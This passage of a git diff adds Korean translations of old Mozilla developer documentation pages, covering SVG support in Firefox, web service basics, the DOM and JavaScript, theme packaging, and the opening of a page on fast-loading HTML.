+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#VKernElement">vkern</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceSrcElement">font-face-src</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-uri</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-format</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-name</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#DefinitionSrcElement">definition-src</a></td>
+   <td>
+    <ul>
+     <li>Not implemented.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/extend.html#extensibility-mod">Extensibility Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">foreignObject</a></td>
+   <td>
+    <ul>
+     <li>Implemented, but not built.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>{{ languages( { "fr": "fr/SVG_dans_Firefox_1.5", "ja": "ja/SVG_in_Firefox_1.5", "pl": "pl/SVG_w_Firefoksie" } ) }}</p>
diff --git a/files/ko/the_basics_of_web_services/index.html b/files/ko/the_basics_of_web_services/index.html
new file mode 100644
index 0000000000..c886028f1c
--- /dev/null
+++ b/files/ko/the_basics_of_web_services/index.html
@@ -0,0 +1,35 @@
+---
+title: The Basics of Web Services
+slug: The_Basics_of_Web_Services
+tags:
+  - SOAP
+  - XML
+  - XML Web Services
+translation_of: Archive/The_Basics_of_Web_Services
+---
+<p><span>Summary: A current hot topic on the web right now are Web Services. This short guide will allow you to learn more about web services.</span>
+</p>
+<h3 id=".EA.B8.B0.EB.B3.B8"> 기본 </h3>
+<p>웹 서비스는 전혀 새로운 것이 아닙니다. 웹 사이트로부터 뉴스를 긁어오기 위해 RSS나 Atom 피드를 사용해 본 적이 있다면 웹 서비스가 어떻게 동작하는 지 알고 있는 것입니다.
+</p><p>웹 서비스는 XML 형식을 사용해 요청을 전송하고 데이터를 주고 받습니다. 이를 통해 서버와 클라이언트는 서로를 알 수 있습니다. (<a href="ko/XML_Introduction">XML Introduction</a>).
+</p><p>HTML form을 통한 서버 사이드 스크립트(PHP, ASP 등)와의 비교를 통해 웹 서비스를 좀 더 쉽게 이해할 수 있습니다. 웹 서비스나 HTML form 모두 요청을 주고 받습니다. 가장 큰 차이는 웹 서비스의 경우 XML을 사용한다는 것입니다.
+</p>
+<h3 id=".EC.9B.B9_.EC.84.9C.EB.B9.84.EC.8A.A4.EC.9D.98_.EC.82.AC.EB.A1.80"> 웹 서비스의 사례 </h3>
+<p>위에서도 말했듯이 RSS나 Atom 피드는 웹 서비스의 간단한 예입니다. 일반적으로 서버와 클라이언트와의 통신을 위해 XML-RPC나 SOAP을 사용하기도 합니다.
+</p>
+<h3 id="XML-RPC_.EC.86.8C.EA.B0.9C"> XML-RPC 소개 </h3>
+<p>XML-RPC는 1998년부터 사용된 웹 서비스의 일종입니다. <a class="external" href="http://www.w3.org/">W3C</a>의 공식 표준은 아니지만 널리 사용됩니다. XML-RPC는 마이크로소프트와 Useful Inc가 개발하였습니다.
+</p>
+<h3 id="SOAP_.EC.86.8C.EA.B0.9C"> SOAP 소개 </h3>
+<p>SOAP은 <a class="external" href="http://www.w3.org/">W3C</a>의 표준으로 XML-RPC와 여러모로 비슷한 점이 많습니다. 마이크로소프트와 IBM에서 SOAP을 지원하고 있습니다.
+</p>
+<h3 id="SOAP_.ED.98.B9.EC.9D.80_XML-RPC.3F"> SOAP 혹은 XML-RPC? </h3>
+<p>간단히 말해 SOAP은 XML-RPC의 결점을 채우기 위해 만들어 졌습니다. 예를 들어 다차원 배열을 전송하는 데 SOAP이 XML-RPC 보다 더 쉽습니다. SOAP은 XML-RPC 보다 많은 기능을 갖고 있지만, XML-RPC 또한 나름대로의 사용 영역이 있습니다.
+</p>
+<div class="originaldocinfo">
+<h3 id=".EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4"> 문서 정보 </h3>
+<ul><li> Author(s): Justin G. Shreve
+</li><li> Last Updated Date: May 19th, 2005
+</li></ul>
+</div>
+{{ languages( { "en": "en/The_Basics_of_Web_Services", "pl": "pl/Podstawy_Web_Services" } ) }}
diff --git a/files/ko/the_dom_and_javascript/index.html b/files/ko/the_dom_and_javascript/index.html
new file mode 100644
index 0000000000..b7d3de85bf
--- /dev/null
+++ b/files/ko/the_dom_and_javascript/index.html
@@ -0,0 +1,115 @@
+---
+title: The DOM and JavaScript
+slug: The_DOM_and_JavaScript
+tags:
+  - DOM
+  - JavaScript
+---
+<h3 id=".ED.81.B0_.EA.B7.B8.EB.A6.BC" name=".ED.81.B0_.EA.B7.B8.EB.A6.BC">큰 그림</h3>
+
+<p>페이지 안 레이어 이동, 레이어, 팝업 메뉴 보이기와 감추기 등과 같은 비주얼 효과는 "<a href="ko/DHTML">DHTML</a>"이나 "Dynamic HTML"로 자주 참조됩니다. 일부 사람들은 표현(presentation)이 아니라 내용(content)을 다루기로 된 웹 페이지에서 이런 기술의 실제 쓰임을 묻습니다. 하지만 오늘날 실제 쓰임은 그 물음에 있습니다.</p>
+
+<p>내가 이 프로젝트에서 일하고 많은 웹마스터들과 연락한 뒤로, 웹 디자인 커뮤니티 대부분이 그들의 DHTML이 어떻게 동작하는 지 모른다는 사실이 생각났습니다. 대부분의 시간을 그들은 스크립트 저장소(repository) 사이트에 가서, 그들 웹 페이지에 그 코드를 그냥 복사하고 붙여넣습니다. 불행하게도 이들 사이트 대부분은 결코 "<a href="ko/DOM">DOM</a>"에 관해서는 이야기하지 않으면서 "javascript"와 "DHTML"은 이야기합니다. 비록 DOM이 오래된 개념이더라도 DOM이 최근에야 "평균 웹 디자이너 전문어(jargon)"의 부분이 되었다는 사실입니다.</p>
+
+<p>그 사이트를 W3C DOM을 위해 코딩할 가치가 있다고 사이트 임자에게 납득시키기는 Mozilla 같은 프로젝트를 위한 큰 도전입니다. 이는 때때로 많은 작업과 예전 브라우저를 위한 지원을 중단함을 뜻합니다. 또한 W3C DOM을 위한 지원에 관해 곧바로 참모습을 알아내는 큰 도전입니다. Netscape 6은 Netscape 4와 document.layers와 document.all를 쓰는 Internet Explorer를 위해 그들의 "JavaScript"를 작성했던 어리석은 웹 디자이너들에게 많은 혹평을 받았습니다. 매일 우리는 그들의 사이트를 얻도록 뉴스그룹에서, 개인 email로, Bugzilla로 되도록 공손하게 사람들을 돕기 위해 힘씁니다. 우리가 부딪친 문제 가운데 가장 큰 것은 <a href="ko/JavaScript">JavaScript</a>와 <a href="ko/DHTML">DHTML</a> 그리고 <a href="ko/DOM">DOM</a> 사이의 혼동(confusion)입니다. 이 문서는 이를 정리하고 이 화려하고 쓸모 있는 기술 사이의 관계를 설명하려는 하나의 시도입니다.</p>
+
+<h3 id="JavaScript.2C_.EC.9B.B9_.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8C.85_.EC.96.B8.EC.96.B4" name="JavaScript.2C_.EC.9B.B9_.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8C.85_.EC.96.B8.EC.96.B4">JavaScript, 웹 스크립팅 언어</h3>
+
+<p><a href="ko/JavaScript">JavaScript</a>은 Netscape Communications Corp에서 오늘날 Mozilla 프로젝트의 리더 가운데 한 명인 Brendan Eich가 처음 개발한 "object scripting language"입니다. Mozilla가 쓰는 JavaScript 엔진은 <a href="ko/SpiderMonkey">SpiderMonkey</a>입니다. 이 엔진은 ECMA-262 개정 3 명세(specification)를 따릅니다. JavaScript는 또한 <a href="ko/ECMAScript">ECMAScript</a>로 알려졌습니다(하지만 상세한 설명은 링크된 페이지를 보세요).</p>
+
+<p>일반인의 오해와는 달리, JavaScript는 "Interpretive Java"가 아닙니다. 줄여 말하면, JavaScript는 개체 생성에 기반을 둔 원형(prototype)을 지원하는 dynamic scripting language입니다. 기본 구문(syntax)은 언어를 배우는 데 필요한 새로운 개념의 수를 줄이기 위해 Java와 C++ 둘 다와 개념에 있어 비슷합니다. JavaScript가 대단한 점은 혹시 여러분이 기본 프로그래밍(간단한 DHTML에서 필요한 것 같은)을 하고 싶은 경우 배우기 정말 쉽다는 점입니다. 불분명한 변수형, 정말 쓰기 쉬운 문자열, 전체 플랫폼 중립성(neutrality) 등. 또한 고급 코더들을 위해 개체 중심(object-oriented) 언어와 절차(procedural) 언어 둘 다로 기능합니다.</p>
+
+<p>JavaScript에 관한 이 단락 대부분은 <a class="external" href="http://mozilla.org/js">Mozilla JavaScript 페이지</a>에서 가져왔음을 알게 됩니다. 가장 최근 ECMA 명세는 <a class="external" href="http://www.mozilla.org/js/language/">여기</a>에서 찾습니다.</p>
+
+<h3 id="Document_Object_Model.2C_.EC.96.B8.EC.96.B4_.EC.A4.91.EB.A6.BD_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EC.A7.91.ED.95.A9" name="Document_Object_Model.2C_.EC.96.B8.EC.96.B4_.EC.A4.91.EB.A6.BD_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EC.A7.91.ED.95.A9">Document Object Model, 언어 중립 인터페이스 집합</h3>
+
+<p>JavaScript는 여러분이 DOM 개체를 운영(operate)하고 개체를 프로그램으로 조작(manipulate)하게 하는 프로그래밍 언어이지만, DOM은 여러분이 작업하는 문서의 부분을 검색(retrieve), 수정(modify), 갱신(update), 삭제(delete)하는 메소드(method)와 프로퍼티(property)를 제공합니다. 예를 들어, 여러분이 DOM을 써서 HTML textfield 값을 문자열로 검색할 지도 모릅니다. 그렇다면 여러분은 뜻있는 문장이 되도록 그 문자열을 다른 문자열에 연결(concatenate)하는 JavaScript "+" 연산자를 쓸 수 있습니다. 그리고 나서 여러분은 dialog에서 사용자에게 그 문자열을 표시하기 위해 DOM "alert()" 메소드를 씁니다. 또한 아래 예제를 보세요.</p>
+
+<p>만약 웹페이지가 수입한 스웨덴 가구 한 점이라면, DOM은 선반, 나사못(bolt), Allen 렌치(wrench)와 드라이버 같은 각 부분의 도해입니다. 각 부분을 서로 조립하는 법과 많은 언어로 각 부분을 쓰는 법에 관한 명령 작성이 가능합니다. 하지만 여러분은 오직 여러분이 이해한 언어로 작성한 부분을 씁니다. 설명서는 실제 개체(브라우저의 렌더링 엔진)를 나타내는 개체의 도해(DOM)를 참조하는 작성 명령(JavaScript)을 써서 함께 가구를 만들기 쉽게 합니다. (유추한 Jonathan에게 감사를 올립니다!)</p>
+
+<p>DOM에 있는 이 "언어 중립"이란 과대광고(hype)는 무엇일까요? DOM에 접근하는 데 쓰이는 유일한 언어가 JavaScript라면 왜 DOM이 언어 중립성을 띨까요? 글쎄요, 그것은 딱 맞지 않습니다. 예를 들어, Mozilla는 사용자 인터페이스를 위해 내부에 C++와 JavaScript로 작성된 DOM을 씁니다. 이를테면, 편집기는 Composer 모듈로 페이지를 작성(compose)할 때 여러분이 보는 HTML을 삽입(insert), 수정(modify), 삭제(delete)하기 위해 광범위하게 DOM을 씁니다. 다른 알려진 DOM 구현(implementation)은 아마도 <a class="external" href="http://users.erols.com/enno/index.html">Perl</a>, <a class="external" href="http://www.docuverse.com/domsdk/index.html">Java</a>, <a class="external" href="http://www.vivid-creations.com/dom/index.htm">ActiveX</a>, <a class="external" href="http://fourthought.com/4Suite/4DOM">Python</a>, 그리고 다른 것들을 포함합니다. 물론 이는 오직 DOM의 언어 중립성 덕분에 가능합니다.</p>
+
+<h3 id="DOM.EA.B3.BC_JavaScript_-_.EB.AC.B4.EC.97.87.EC.9D.B4_.EB.AC.B4.EC.97.87.EC.9D.84_.ED.95.98.EB.8A.94.EA.B0.80.3F" name="DOM.EA.B3.BC_JavaScript_-_.EB.AC.B4.EC.97.87.EC.9D.B4_.EB.AC.B4.EC.97.87.EC.9D.84_.ED.95.98.EB.8A.94.EA.B0.80.3F">DOM과 JavaScript - 무엇이 무엇을 하는가?</h3>
+
+<p>우리는 이 문서의 본론에 이르렀습니다. 각각 무엇을 할까요? 내 웹 페이지에 끼워 넣은(embed) 스크립트에서, DOM은 무엇이고 JavaScript는 무엇일까요? 간단한 예를 하나 더 자세히 보죠. 예는 우리가 "<code>anchorTags</code>"라고 부르는 NodeList에서 모든 <span class="nowiki">&lt;a&gt;</span> tag을 검색합니다. 그리고 나서 각 anchor tag(<code>anchorTags</code> NodeList의 각 요소)의 "href" 속성값을 경고(alert)로 띄웁니다.</p>
+
+<p>파란색은 JavaScript, 빨간색은 DOM입니다.</p>
+
+<pre class="eval"><span class="highlightblue">var anchorTags = <span class="highlightred">document.getElementsByTagName("a")</span>;
+for (var i = 0; i &lt; <span class="highlightred">anchorTags.length</span> ; i++)
+{
+   <span class="highlightred">alert</span>("Href of " + i + "-th element is : " + <span class="highlightred">anchorTags[i].href</span> + "\n");
+}</span>
+</pre>
+
+<h4 id=".EC.84.A4.EB.AA.85" name=".EC.84.A4.EB.AA.85">설명</h4>
+
+<p>이 코드 조각(snippet)은 기본 JavaScript가 무엇인지, 그리고 DOM이 무엇인지를 보입니다.</p>
+
+<dl>
+ <dt><span class="highlightblue">var anchorTags =</span></dt>
+ <dd>이는 "<code>anchorTags</code>"로 부르는 JavaScript 변수를 만듭니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightred">document.getElementsByTagName("a")</span></dt>
+ <dd><code>Document</code> 인터페이스는 DOM1 Core에서 정의한 첫 번째 인터페이스이고 <code>document</code>는 <code>Document</code> 인터페이스를 구현하는 host 개체입니다. document는 여러분의 페이지에 있는 모든 것을 지닙니다.<br>
+ DOM1 Core는 <code>Document</code> 인터페이스에 <code>getElementsByTagName()</code> 메소드를 정의합니다. 메소드는 그 함수에 pass되는 매개변수와 일치하는 모든 tag의 NodeList (노드를 지니는 DOM 고유 배열의 한 종류)에서 문서 소스에 나오는 순서대로 검색합니다. 따라서 이제 <code>anchorTags</code> 변수는 NodeList입니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightblue">;</span></dt>
+ <dd>기본 명령 끝(end-of-instruction) 쌍반점(쎄미콜론, semicolon). JavaScript 문법.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightblue">for (var i = 0; i &lt;</span></dt>
+ <dd>프로그래밍 언어의 특징을 잘 나타내는 "for" 루프(loop). 이는 우리가 <code>anchorTags</code> NodeList에 포함된 각 노드를 샅샅이 거치게 합니다. 변수 "<code>i</code>"의 선언을 주의하세요. 역시 JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightred">anchorTags.length</span></dt>
+ <dd>DOM1 Core는 <code>NodeList</code> 인터페이스의 <code>length</code> 프로퍼티를 정의합니다. 프로퍼티는 NodeList에 포함된 노드수(정수)를 반환합니다. JavaScript 배열은 또한 <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Array/length"><code>length</code> 프로퍼티</a>도 있음을 덧붙입니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightblue">; i++) {</span></dt>
+ <dd>1씩 증가하는 전형적인 JavaScript 변수.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightred">alert(</span></dt>
+ <dd><code>alert()</code>은 여러분이 pass한 매개변수(문자열)을 팝업하는 DOM 메소드입니다. DOM level 0이나 DOM0으로 부르는 것의 일부임을 유의하세요. DOM0은 일부 브라우저에서 지원되는 인터페이스 집합이지만 DOM 명세의 일부는 아닙니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightblue">"Href of this a element is : " +</span></dt>
+ <dd>문자열 리터럴(literal)과 문자열 연결 연산자. JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightred">anchorTags{{ mediawiki.external('i') }}.href</span></dt>
+ <dd>"<code>href</code>"는 DOM1 HTML 명세에 정의된 <code>HTMLAnchorElement</code> 인터페이스의 프로퍼티입니다. 있다면, 프로퍼티는 anchor 요소의 <code>href</code> 속성값을 반환합니다.<br>
+ 우리는 또한 배열의 <code>i</code> 번째 항목(item)에 접근하기 위해 JavaScript에서 쓰는 구문과 같은 <code>anchorTags{{ mediawiki.external('i') }}</code>를 씁니다. NodeList의 항목에 접근하기 위해 언어 중립성을 띄는 "DOM 방식"은 <code>NodeList</code> 인터페이스에 정의된 <code>item()</code> 메소드(<code>anchorTags.item(1).href</code>)를 씁니다. 하지만 JavaScript 구현 대부분은 더 간단한 배열 방식 구문을 쓰도록 하고 그게 사람들 대부분이 실제로 쓰는 방식입니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightblue">+ "\n");</span></dt>
+ <dd>추가 문자열 연결. 문자열의 끝에 carriage return을 삽입합니다.</dd>
+</dl>
+
+<dl>
+ <dt><span class="highlightblue">}</span></dt>
+ <dd>"for" 루프의 끝.</dd>
+</dl>
+
+<div class="originaldocinfo">
+<p><strong>원본 문서 정보</strong></p>
+
+<ul>
+ <li>저자: Fabian Guisset &lt;fguisset at softhome dot net&gt;</li>
+ <li>저작권 정보: © 1998-2005 by individual mozilla.org contributors; 내용은 <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a> 아래에서 이용 가능합니다</li>
+</ul>
+</div>
+
+<p>{{ languages( { "en": "en/The_DOM_and_JavaScript", "fr": "fr/Le_DOM_et_JavaScript" } ) }}</p>
diff --git a/files/ko/theme_packaging/index.html b/files/ko/theme_packaging/index.html
new file mode 100644
index 0000000000..0ff635c4aa
--- /dev/null
+++ b/files/ko/theme_packaging/index.html
@@ -0,0 +1,98 @@
+---
+title: Theme Packaging
+slug: Theme_Packaging
+tags:
+  - Add-ons
+  - Themes
+  - Toolkit API
+---
+<p>이 문서는 파이어폭스나 썬더버드에서 <a href="ko/Themes">테마</a>를 포장하는 방법에 대해서 기술하고 있습니다.</p>
+<h3 id=".EC.A4.80.EB.B9.84.EC.82.AC.ED.95.AD" name=".EC.A4.80.EB.B9.84.EC.82.AC.ED.95.AD">준비사항</h3>
+<p>파이어폭스나 썬더버드의 테마를 만들 때에는 Cascading Stylesheets(<a href="ko/CSS">CSS</a>) 에 대한 지식이 필수적이며, <a href="ko/XBL">XBL</a>에 대한 지식도 필요할 수 있습니다. 또한, 그래픽 디자인 및 미적 감각(...은 아닐지도)도 필요합니다. 하지만, 이 문서에서는 파이어폭스의 테마 창에서 보여질 수 있도록 테마를 포장하는 방법에 대해서만 기술할 것입니다.</p>
+<h3 id=".ED.85.8C.EB.A7.88_.ED.8C.8C.EC.9D.BC.EC.9D.98_.EA.B5.AC.EC.A1.B0" name=".ED.85.8C.EB.A7.88_.ED.8C.8C.EC.9D.BC.EC.9D.98_.EA.B5.AC.EC.A1.B0">테마 파일의 구조</h3>
+<p>파이어폭스/썬더버드의 테마는 다음과 같은 구조의 JAR 파일로 포장됩니다.</p>
+<pre class="eval">theme.jar:
+  install.rdf
+  contents.rdf
+  preview.png
+  icon.png
+  browser/<i>files</i>
+  global/<i>files</i>
+  mozapps/<i>files</i>
+  communicator/<i>files</i>
+  ...
+</pre>
+<ul>
+ <li>테마에 사용되는 크롬을 등록하기 위하여 <a href="ko/Chrome.manifest">chrome.manifest</a> (Firefox/Thunderbird 1.5 의 경우) 나 contents.rdf 파일을 디렉토리 최상위단에 만들어 주어야 합니다. 또한 테마 윈도우에 나타낼 메타데이터를 정의하기 위한 <a href="ko/Install.rdf">install.rdf</a> manifest 파일도 함께 만들어 주어야 합니다.</li>
+ <li>preview.png 는 테마 윈도우의 스크롤 가능한 미리보기 영역에 보여질 이미지입니다. 이미지의 사이즈는 어떤 크기로도 가능합니다.</li>
+ <li>icon.png 는 32x32 크기의 PNG (알파 투명도 값을 가질 수 있는)파일입니다. 이는 테마 윈도우의 테마 목록에서 보여집니다.</li>
+</ul>
+<h3 id="install.rdf" name="install.rdf">install.rdf</h3>
+<p><a href="ko/Install.rdf">install.rdf</a> manifest 는 다음과 같이 만들 수 있습니다:</p>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>"
+     xmlns:em="<a class="external" href="http://www.mozilla.org/2004/em-rdf#" rel="freelink">http://www.mozilla.org/2004/em-rdf#</a>"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:type&gt;4&lt;/em:type&gt;<i>more properties</i>
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<h4 id="install.rdf_.EC.97.90_.EB.B3.B8.EC.A0.81.EC.9C.BC.EB.A1.9C_.EB.93.A4.EC.96.B4.EA.B0.80.EC.95.BC_.ED.95.98.EB.8A.94_.EC.86.8D.EC.84.B1.EB.93.A4" name="install.rdf_.EC.97.90_.EB.B3.B8.EC.A0.81.EC.9C.BC.EB.A1.9C_.EB.93.A4.EC.96.B4.EA.B0.80.EC.95.BC_.ED.95.98.EB.8A.94_.EC.86.8D.EC.84.B1.EB.93.A4">install.rdf 에 본적으로 들어가야 하는 속성들</h4>
+<p>install.rdf 파일에는 다음과 같은 속성들이 들어가야 합니다. 상세한 정보는 <a href="ko/Install.rdf">install.rdf Reference</a> 에서 얻을 수 있습니다.</p>
+<ul>
+ <li>em:id</li>
+ <li>em:version</li>
+ <li>em:type</li>
+ <li>em:targetApplication</li>
+ <li>em:name</li>
+ <li>em:internalName</li>
+</ul>
+<h4 id="install.rdf_.EC.97.90_.EC.84.A0.ED.83.9D.EC.A0.81.EC.9C.BC.EB.A1.9C_.EB.93.A4.EC.96.B4.EA.B0.88_.EC.88.98_.EC.9E.88.EB.8A.94_.EC.86.8D.EC.84.B1.EB.93.A4" name="install.rdf_.EC.97.90_.EC.84.A0.ED.83.9D.EC.A0.81.EC.9C.BC.EB.A1.9C_.EB.93.A4.EC.96.B4.EA.B0.88_.EC.88.98_.EC.9E.88.EB.8A.94_.EC.86.8D.EC.84.B1.EB.93.A4">install.rdf 에 선택적으로 들어갈 수 있는 속성들</h4>
+<ul>
+ <li>em:description</li>
+ <li>em:creator</li>
+ <li>em:contributor</li>
+ <li>em:homepageURL</li>
+ <li>em:updateURL</li>
+</ul>
+<p>만약 여러분의 테마가 <a class="external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a> 웹사이트에 게시된다면 updateURL 속성은 포함시키면 안 됩니다.</p>
+<h4 id=".EC.83.98.ED.94.8C_install.rdf_.ED.8C.8C.EC.9D.BC" name=".EC.83.98.ED.94.8C_install.rdf_.ED.8C.8C.EC.9D.BC">샘플 install.rdf 파일</h4>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<a class="external" href="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rel="freelink">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>"
+     xmlns:em="<a class="external" href="http://www.mozilla.org/2004/em-rdf#" rel="freelink">http://www.mozilla.org/2004/em-rdf#</a>"&gt;
+
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;{18b64b56-d42f-428d-a88c-baa413bc413f}&lt;/em:id&gt;
+    &lt;em:version&gt;1.0&lt;/em:version&gt;
+    &lt;em:type&gt;4&lt;/em:type&gt;
+
+    &lt;!-- Target Application this extension can install into,
+         with minimum and maximum supported versions. --&gt;
+    &lt;em:targetApplication&gt;
+      &lt;Description&gt;
+        &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+        &lt;em:minVersion&gt;0.8&lt;/em:minVersion&gt;
+        &lt;em:maxVersion&gt;0.9&lt;/em:maxVersion&gt;
+      &lt;/Description&gt;
+    &lt;/em:targetApplication&gt;
+
+    &lt;!-- Front End MetaData --&gt;
+    &lt;em:name&gt;New Theme 1&lt;/em:name&gt;
+    &lt;em:description&gt;A test theme for Firefox&lt;/em:description&gt;
+    &lt;em:creator&gt;Ben Goodger&lt;/em:creator&gt;
+    &lt;em:contributor&gt;John Doe&lt;/em:contributor&gt;
+    &lt;em:homepageURL&gt;<a class="external" href="http://www.bengoodger.com/" rel="freelink">http://www.bengoodger.com/</a>&lt;/em:homepageURL&gt;
+
+    &lt;!-- Front End Integration Hooks (used by Theme Manager)--&gt;
+    &lt;em:internalName&gt;newtheme1&lt;/em:internalName&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<p>아래의 것은 통상적인 타겟 어플리케이션의 GUID 입니다. 여러분은 이 GUID 를 여러분의 targetApplication 속성에 정의할 수 있습니다:</p>
+<pre class="eval">Firefox      {ec8030f7-c20a-464f-9b0e-13a3a9e97384}
+Thunderbird  {3550f703-e582-4d05-9a08-453d09bdfdc6}
+Sunbird      {718e30fb-e89b-41dd-9da7-e25a45638b28}
+</pre>
diff --git a/files/ko/tips_for_authoring_fast-loading_html_pages/index.html b/files/ko/tips_for_authoring_fast-loading_html_pages/index.html
new file mode 100644
index 0000000000..09ac7171e0
--- /dev/null
+++ b/files/ko/tips_for_authoring_fast-loading_html_pages/index.html
@@ -0,0 +1,132 @@
+---
+title: Tips for Authoring Fast-loading HTML Pages
+slug: Tips_for_Authoring_Fast-loading_HTML_Pages
+tags:
+  - HTML
+translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages
+---
+<p><span class="comment">Summary: Learn common-sense tips for producing HTML pages which load quickly and provide visitor satisfaction.</span> 여기에 나온 팁들은 상식과 실험에 바탕을 두고 있습니다. 만약 당신이 페이지 불러오기 성능을 향상시킬 수 있는 팁을 알고 있다면 <a>이 글의 토론 페이지</a>에 조언해 주시기 바랍니다.</p>
+<p>최적화된 웹 페이지는 사이트 방문자들에게 즉각적인 응답을 해줄 뿐만 아니라, 웹 서버의 부담을 덜어주고 인터넷 연결의 부하를 줄여줍니다. 이것은 커다란 사이트나 뉴스 속보와 같은 특별한 상황에서 트래픽이 급격히 증가하는 사이트에 있어서 아주 중요합니다.</p>
+<p>페이지 불러오기 성능을 최적화하는 것이 저대역폭 방문자를 위한 컨텐츠에만 해당하는 것은 아닙니다. 이것은 고대역폭 컨텐츠에도 똑같이 중요하며 고속 인터넷 사용자들에게도 상당한 성능 향상을 기대할 수 있습니다.</p>
+<h3 id="Tips" name="Tips"><strong>Tips</strong></h3>
+<h4 id=".ED.8E.98.EC.9D.B4.EC.A7.80_.EB.AC.B4.EA.B2.8C.EB.A5.BC_.EC.A4.84.EC.9D.B4.EB.9D.BC" name=".ED.8E.98.EC.9D.B4.EC.A7.80_.EB.AC.B4.EA.B2.8C.EB.A5.BC_.EC.A4.84.EC.9D.B4.EB.9D.BC"><strong>페이지 무게를 줄여라</strong></h4>
+<p>페이지 무게는 지금까지 페이지 불러오기 성능의 가장 중요한 요소이다.</p>
+<p>불필요한 공백, 주석을 없애고 인라인 스크립트와 CSS를 외부파일로 옮기면 페이지 구조의 변화를 최소화하면서 다운로드 성능을 향상시킬 수 있다</p>
+<p><a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a>등의 도구를 사용, 바른 HTML 소스로부터 첫 공백과 여분의 빈라인을 자동으로 줄일 수 있다. 다른 도구는 재형식화하거나 긴 식별자를 짧은 버전으로 줄여 JavaScript를 압축할 수 있다.</p>
+<h4 id=".ED.8C.8C.EC.9D.BC_.EC.88.98.EB.A5.BC_.EC.B5.9C.EC.86.8C.ED.99.94.ED.95.98.EB.9D.BC" name=".ED.8C.8C.EC.9D.BC_.EC.88.98.EB.A5.BC_.EC.B5.9C.EC.86.8C.ED.99.94.ED.95.98.EB.9D.BC"><strong>파일 수를 최소화하라</strong></h4>
+<p>웹 페이지에서 참조하는 파일의 수를 줄이면 페이지를 다운로드하는데 필요한 HTTP 접속 횟수가 감소합니다.</p>
+<p>브라우저의 캐시 설정에 따라서, 브라우저는 각각의 CSS와 JavaScript, 그림 파일에 대해서 마지막으로 다운로드한 이후로 해당 파일이 변경되었는지 확인하기 위해 <code>If-Modified-Since</code> 요청을 웹 서버로 보내게 됩니다.</p>
+<p>웹 페이지에서 참조하는 파일의 수를 줄이면, 이러한 요청을 보내고 그에 해당하는 응답이 도착하는데 필요한 시간을 줄일 수 있습니다.</p>
+<p>브라우저는 페이지를 표시하기 전에 각각의 CSS와 JavaScript 파일의 변경시간을 반드시 확인해야 합니다. 따라서 웹 페이지에서 참조하는 파일들에 대한 마지막 변경시간을 확인하는데 너무 많은 시간을 소비하면 웹 페이지의 초기 표시 시간이 오래 걸릴 수 있습니다.</p>
+<h4 id=".EB.8F.84.EB.A9.94.EC.9D.B8_.EA.B2.80.EC.83.89.EC.9D.84_.EC.A4.84.EC.9D.B4.EB.9D.BC" name=".EB.8F.84.EB.A9.94.EC.9D.B8_.EA.B2.80.EC.83.89.EC.9D.84_.EC.A4.84.EC.9D.B4.EB.9D.BC"><strong>도메인 검색을 줄이라</strong></h4>
